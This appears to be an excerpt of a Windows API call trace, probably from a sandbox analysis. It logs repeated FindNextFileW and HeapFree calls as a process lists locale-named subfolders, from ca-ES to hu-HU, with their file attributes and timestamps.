	[0086.148] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1
	[0086.148] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.148] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1
	[0086.148] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.148] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0086.148] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.149] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0086.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.149] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1
	[0086.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.149] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1
	[0086.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.149] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0086.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.150] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0086.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.150] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1
	[0086.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.150] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1
	[0086.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.151] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0086.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.151] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1
	[0086.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.151] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1
	[0086.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.151] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1
	[0086.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.152] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1
	[0087.379] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0087.388] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1
	[0087.396] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.397] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1
	[0087.397] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.398] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1
	[0087.399] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.399] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0087.400] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.401] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1
	[0087.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0087.405] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1
	[0087.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.409] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1
	[0087.409] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.409] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1
	[0087.410] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.410] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0087.410] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.410] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0087.410] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.410] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1
	[0087.410] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.411] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1
	[0087.411] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.411] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0087.411] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.411] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1
	[0087.411] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.411] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0087.412] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.412] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1
	[0087.412] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.412] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0087.412] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.412] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1
	[0087.413] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.413] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0087.413] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.413] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1
	[0087.414] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.414] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1
	[0087.414] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.414] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0087.414] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.414] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0087.414] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0087.414] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0087.415] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
